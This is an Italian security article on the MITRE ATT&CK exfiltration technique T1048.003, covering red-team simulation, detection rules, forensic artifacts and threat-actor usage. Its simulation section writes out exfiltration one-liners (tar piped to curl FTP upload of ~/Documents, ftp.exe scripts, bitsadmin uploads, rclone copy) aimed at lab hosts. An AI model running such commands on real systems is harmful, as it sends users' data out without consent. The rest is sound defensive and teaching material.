Esfiltrazione in Chiaro: Exfiltration Over Unencrypted Non-C2 Protocol (T1048.003)

In un contesto di red teaming autorizzato, la simulazione di T1048.003 consente di valutare l'efficacia dei controlli DLP e del monitoring perimetrale. L'approccio classico prevede la creazione di un archivio compresso dei dati target e il trasferimento su infrastruttura controllata via protocollo in chiaro.

Su Windows, il canale FTP nativo resta uno dei metodi più abusati per la sua semplicità. Un attaccante può utilizzare ftp.exe in modalità script:

ftp -s:script.txt ftp.example-lab.local

dove il file di script contiene le direttive user, put archive.rar e bye. In alternativa, BITSAdmin (nativo Windows) consente upload via bitsadmin /transfer job /upload verso endpoint HTTP, tecnica documentata dal software S0190 nei dati MITRE. Un'altra opzione è curl.exe, ora presente di default in Windows 10/11, che permette curl -T archive.zip ftp://lab-server/incoming/ con credenziali inline.

Su Linux e macOS, i tool preferiti sono curl e wget. Il comando curl --upload-file è esattamente quello osservato nel malware CookieMiner (S0492) per esfiltrare dati via HTTP. Su macOS, WindTail utilizza /usr/bin/curl per upload automatici. Un esempio operativo:

tar czf /tmp/data.tgz ~/Documents && curl -T /tmp/data.tgz ftp://lab.local --user red:team

Per simulazioni di tunneling DNS — la tecnica usata da APT32 e APT41 in C0017 — sono utili strumenti come dnscat2 (open source, GitHub iagox86/dnscat2) e iodine (open source). Consentono di incapsulare payload nei sottodomini di query DNS ricorsive, replicando fedelmente il pattern osservato in campo.

Per l'automazione dell'esfiltrazione multi-protocollo, Rclone (open source) è oggi lo standard de facto tra gli operatori ransomware e figura come S1040 nei dati MITRE: supporta FTP, HTTP, WebDAV e molti altri backend. Un comando tipico è rclone copy /data remote:bucket --transfers 8.

In ambiente ESXi, la simulazione può prevedere l'uso della shell BusyBox per copiare file .vmx o .vmdk verso destinazioni FTP esterne, utile per validare la segmentazione della management network. Su network device Cisco, il comando copy running-config ftp: replica il pattern di Salt Typhoon documentato in G1045.

Ogni test deve avvenire in ambiente isolato con dati sintetici, mai su PII reali, e con autorizzazione scritta del cliente.

La detection di T1048.003 si basa sulla correlazione tra eventi endpoint e flussi di rete, poiché l'esfiltrazione in chiaro lascia tracce sia sul processo che origina la connessione sia sul traffico osservato al perimetro.

Su Windows, la detection AN0423 suggerisce di correlare eventi Sysmon Event ID 1 (process creation) e Event ID 3 (network connection) con NetFlow perimetrale. Gli indicatori chiave includono l'esecuzione di ftp.exe, bitsadmin.exe, curl.exe o powershell.exe con parametri di upload, specialmente se il processo padre è anomalo. Una regola efficace è flaggare qualsiasi ftp.exe o curl.exe con parent winword.exe, excel.exe o outlook.exe — pattern tipico di macro malevola. Il campo ParentProcessDenylist nel tuning MITRE va popolato con gli eseguibili Office e i browser.

Su Linux, la fonte primaria è auditd con regole sui syscall execve per intercettare invocazioni di curl, wget, ftp e scp. La correlazione con NSM flow permette di identificare trasferimenti verso IP esterni non presenti in baseline. Il tuning SensitiveDirectoryWatchlist dovrebbe includere /etc, /var/backups, database directory e path applicativi critici.

A livello di rete, gli IDS come Suricata (open source) e Zeek (open source) offrono visibilità granulare. Suricata dispone di regole ET Open che intercettano FTP STOR verso IP non whitelistati; Zeek genera log ftp.log con comandi eseguiti, e dns.log consente di rilevare query con sottodomini di lunghezza anomala tipiche del DNS tunneling — pattern usato da APT32 e nella campagna C0017. Una soglia utile è flaggare query DNS con label superiori a 40 caratteri o entropia elevata calcolata su base Shannon.

Per DLP di rete, soluzioni come OpenDLP (open source) o piattaforme commerciali (a pagamento) come Forcepoint, Symantec DLP e Microsoft Purview permettono di ispezionare payload HTTP e SMTP alla ricerca di pattern PII o credenziali. La mitigazione M1057 raccomanda esplicitamente il DLP come controllo primario per questa tecnica.

Su ESXi, il log hostd.log traccia l'accesso a file di configurazione VM; la correlazione con flow verso IP non appartenenti alla management VLAN è indicatore forte. Su network device, il monitoraggio dei comandi copy run tftp: e copy run ftp: via syslog è essenziale, soprattutto dopo il pattern osservato in Salt Typhoon.

Falsi positivi tipici includono backup legittimi via FTP, aggiornamenti software via HTTP e sincronizzazioni con partner. La baseline per processo e destinazione è imprescindibile.

L'analisi forense di T1048.003 richiede la ricostruzione della catena tra collection, staging ed esfiltrazione. Gli artefatti utili si distribuiscono tra endpoint, log applicativi e cattura di rete.

Su Windows, il primo elemento da esaminare sono i Prefetch file (C:\Windows\Prefetch) per verificare l'esecuzione di FTP.EXE-, CURL.EXE-, BITSADMIN.EXE-. Il log Microsoft-Windows-Bits-Client/Operational traccia i job BITS con job ID, URL di destinazione e file trasferito — artefatto critico per ricostruire attività tipo S0190. Gli ShimCache e Amcache.hve confermano l'esecuzione anche in assenza di prefetch. Se Sysmon era attivo, gli eventi ID 3 forniscono tupla completa src/dst e processo originante; l'ID 22 traccia query DNS con nome completo del dominio interrogato, indispensabile per riconoscere DNS tunneling.

Su Linux, la bash history (~/.bash_history, ~/.zsh_history) può contenere invocazioni di curl -T o tar | curl se l'attaccante non ha ripulito. I log auditd in /var/log/audit/audit.log registrano execve con argv completo. Il malware Dok (S0281) su macOS scrive log di esecuzione in /tmp prima di esfiltrarli via curl+FTP: la presenza di file residui in /tmp con timestamp coerenti con connessioni FTP è indicatore diretto.

Su macOS, il Unified Log interrogabile via log show --predicate 'process == "curl"' --last 7d espone le esecuzioni di curl con parametri. Gli artefatti quarantine in ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 possono rivelare origine di binari malevoli come WindTail (S0466).

Sulla dimensione rete, la disponibilità di PCAP o metadati Zeek è determinante. I log ftp.log di Zeek contengono comandi STOR/RETR con username, mentre http.log espone URI, user-agent e content-length. Per DNS tunneling la query analysis su dns.log con calcolo entropia permette di ricostruire l'esfiltrazione: nella campagna C0017, APT41 codificava PII in sottodomini di domini attacker-controlled — pattern replicabile analizzando volumi anomali di query TXT o A verso singolo dominio.

Per ESXi, l'analisi di hostd.log e shell.log rivela comandi di copia file di configurazione. Su network device, il buffer NVRAM e i log AAA/TACACS conservano evidenza dei comandi copy eseguiti — critici nel caso Salt Typhoon (G1045) dove configurazioni di router venivano esfiltrate via TFTP/FTP.

La timeline finale deve correlare: accesso al dato sensibile, staging (archivio compresso), invocazione del client, connessione outbound, chiusura. Tool come Plaso/log2timeline (open source) e Timesketch (open source) supportano l'aggregazione multi-sorgente.

L'analisi degli attori che adottano T1048.003 rivela una preferenza trasversale per FTP e HTTP come canali di esfiltrazione, con varianti sofisticate basate su DNS tunneling per gruppi con maturità operativa elevata.

APT41, nella campagna C0017 (maggio 2021 - febbraio 2022), ha compromesso almeno sei reti governative statali statunitensi sfruttando vulnerabilità pubbliche e zero-day su applicazioni web esposte. L'esfiltrazione di PII avveniva codificando i dati come sottodomini di domini attacker-controlled interrogati via DNS. Questo pattern rappresenta il gold standard per bypassare controlli perimetrali che raramente ispezionano DNS in profondità. Notevole la capacità di ricompromettere vittime dopo remediation, indicativa di persistenza strategica.

APT32 (OceanLotus), attribuito a interessi vietnamiti, utilizza un backdoor che codifica dati esfiltrati nel campo subdomain di pacchetti DNS — approccio tecnicamente identico a quello di APT41 e coerente con la specializzazione del gruppo in spionaggio contro dissidenti, giornalisti e aziende multinazionali del sud-est asiatico.

OilRig (APT34), attore iraniano, mostra un pattern ibrido: esfiltrazione via Microsoft Exchange e FTP separati dal C2 primario basato su DNS. Questa architettura multi-canale offre resilienza e complica il blocco reattivo.

Lazarus Group (nord-coreano) impiega SierraBravo-Two per esfiltrare informazioni sulle nuove vittime via SMTP, integrandosi nel volume di traffico email legittimo. La preferenza per SMTP riflette una strategia low-and-slow su target finanziari e cryptocurrency.

Sul fronte cybercriminale, FIN6 e FIN8 privilegiano HTTP POST e FTP per esfiltrare dati di carte di pagamento da ambienti retail e hospitality. Wizard Spider (operatore di TrickBot/Ryuk/Conti) utilizza FTP per esfiltrare dati vittima prima del deployment ransomware, pattern ora industrializzato via Rclone (S1040) nella catena double-extortion.

Mustang Panda (attribuito a interessi cinesi) usa FTP per esfiltrare archivi contro target diplomatici e ONG. Salt Typhoon (G1045), emerso nel contesto delle intrusioni contro telco USA, esfiltra configurazioni di apparati di rete via FTP e TFTP — pattern che sottolinea la vulnerabilità storica dei protocolli di management legacy nelle infrastrutture telco.

Contagious Interview, campagna nord-coreana rivolta a sviluppatori tramite falsi colloqui di lavoro, utilizza il malware InvisibleFerret (S1245) che esfiltra file via FTP su porte non standard (1224, 2245, 8637), tecnica evasiva contro filtri egress che monitorano solo porte tipiche.

Il trend osservato è la convergenza tra APT statuali e ransomware crew nell'uso di tool commodity come Rclone e curl, mentre il DNS tunneling resta discriminante di maturità operativa.

Dati tecnici estratti da MITRE ATT&CK (tecnica T1048.003, tattica TA0010) e MITRE D3FEND. Campagna citata: C0017 (APT41). Gruppi: G0032, G0037, G0049, G0050, G0061, G0064, G0076, G0102, G0129, G1045, G1052. Software: S0050, S0190, S0281, S0466, S0492, S1040, S1245 tra gli altri. Detection MITRE: DET0149 (AN0423-AN0427). Per comandi, tool operativi (Suricata, Zeek, Rclone, dnscat2, Plaso) e artefatti forensi si è fatto ricorso alla conoscenza professionale di cybersecurity, verificando sintassi e disponibilità dei tool citati.